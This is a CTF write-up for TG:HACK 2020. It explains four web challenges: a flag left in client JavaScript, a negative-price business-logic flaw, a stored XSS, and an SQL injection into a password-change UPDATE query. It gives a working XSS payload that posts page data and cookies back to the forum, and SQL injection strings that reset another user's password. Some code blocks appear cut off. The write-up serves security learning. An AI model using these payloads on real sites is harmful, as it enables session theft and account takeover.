6 minute read

TG:HACK CTF 2020 has been very interesting and intellectually challenging. It made me bang my head on the desk repeatedly in the hopes of numbing the pain of not being able to solve some of the challenges. In the end, I managed to figure out all but the two of the hardest challenges. My writeups are intended to cover the whole process of solving a challenge, so if you don’t want a detailed explanation, just scroll to the payloads.


First challenge in the easy category is a React website. As we can tell from the challenge name, it involves the Redux Javascript library. A quick google search reveals that the main thing Redux authors stress to developers that use their code is to keep Redux DevTools out of production environments. Redux Developer Tools can either be used as a browser extension or as a React component and in this case it was a component that should have been disabled. The website greets us with a form that upon submittal doesn’t output anything back to us. First solution that the challenge author intended according to her writeup was to get the extension and follow the state change once you submit the form. I however decided to look around the JavaScript sources with regular Firefox Developer Tools and upon opening the file form.js, located the flag at the bottom of it.


This one was my favorite out of the bunch. It involves a form that allows you to borrow and return money and a store that lists a flag for the mere price of 1337. All you need for this challenge is an intercepting proxy of your choice, be it Burp or ZAP. The goal here is to find a vulnerable parameter by checking which ones have validation. If you test the borrow and return functions, you will notice that they do not accept negative values, values that are too large or special characters that might break the functionality. If you go to the store and try to buy something, you will see that a purchase only succeeds if the submitted ID and Price correspond to an item with those parameters in the store. If you try to submit ID 13 for the flag with any price other than 1337, you will get an insufficient funds error. The vulnerability here can be discovered by playing around with the id parameter. If you issue a post request to an id that is not used anywhere in the store, you will not get an insufficient funds error, you will have the funds deducted. Since this functionality is unintended, we should expect that there would be no validation of the price parameter, since users were never intended to be able to submit arbitrary values there. If you supply the server with a negative value to a non-existent id, you will get that money back. So, if you issue a post with:


you will now have enough money to buy the flag.


I have never spent this much time on a single challenge that is this simple. It’s a simple post board without any input validation, so you can supply any html and JavaScript that you like. It is linked to the script.js file, which uses XMLHttpRequest to post whatever you input into the textbox to the posts board. The challenge description states that this forum’s members are behind a firewall, which implies that whatever information we need to get from them, is supposed to be somehow posted to the page. Knowing all that, we can all agree that it’s obvious we are supposed to XSS the forum members with a payload that will use XMLHttpRequest to post their information. I have realized that from the start and actually worked out a functioning payload that also made a GET request to the page and would output all the headers and cookies.

var xhr = new XMLHttpRequest();
var post = new XMLHttpRequest();

post.onreadystatechange = function() {
    console.log('POST - State: ' + xhr.readyState + '; Status: ' + xhr.status);
    if (post.readyState == 4) {
        console.log('!!! POST Complete !!!');

xhr.onreadystatechange = function() {
    console.log('GET - State: ' + xhr.readyState + '; Status: ' + xhr.status);

    if (xhr.readyState == 4) {
        console.log('!!! GET Complete !!!');
        post.open('POST', window.location.href, true);
        post.send('Status:' + xhr.status + '<br>Headers:<br>' + xhr.getAllResponseHeaders() + '<br>Body:<br>' + xhr.responseText + '<br>Cookie:<br>' + document.cookie);

xhr.open('GET', 'window.location.href', true);

For whatever reason this payload would post everything but the cookie and as it turned out later, the cookie held the flag. I am a little disappointed that a simple bug like this prevented me from properly solving this and forced me to spend over 12 hours on this challenge, but hey, I’ve learned a lot about XMLHttpRequest. The challenge author posted this payload in his writeup:

let xhr = new XMLHttpRequest();
xhr.open("post", window.location.href, true);

This should have posted the flag to the forum, but did not in my repeated attempts.


Bobby has forgotten his password for this website. This website greets us with a login prompt and a function for changing the password. This kind of functionality screams “SQL Injection” and the first thing you should of course do is supply special characters to all parameters to see if anything breaks. After I supplied single quotes in every parameter for the password change function, it became apparent to me that there’s SQL Injection here, because the website would spit out the words “unrecognized token” when supplied a single quote in the new password parameter. We know this is a Change Password function, not a regular SELECT query, therefore a normal payload such as ’ OR 1=1 –‘ wouldn’t work. If it’s not a regular SELECT query, what is it? It’s an UPDATE query. We can guess that if we comment out the rest of the query through the new password parameter. It responds with:

WHERE user=? AND pass=?

We can infer that it takes the username and the old password, finds the record that corresponds to them and then sets the password to the new password that we supply. Here’s the UPDATE query syntax from W3:

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

We can infer that the query for Bobby looks something like this:

UPDATE users

This query expects exactly 3 variables from us and if we supply any less, it will give an error, so that should be the first thing we fix. Since we are able to comment out the WHERE clause of the query, we can replace it with our own:

WHERE True OR pass=? OR user=? --

The following payload would change the password of the user bobby to 123, if there is a user named bobby:

',pass=123 WHERE user="bobby" OR pass=? OR user=? --

However, if we try to login with these new credentials, we will fail, perhaps because the name is spelled differently or the casing is different, so that problem is easily fixed by also updating the user field like this:

',pass=123, user="bobby" WHERE True OR pass=? OR user=? --

This payload will match the records and change them to bobby with password 123. If we log in with those credentials, we get the flag.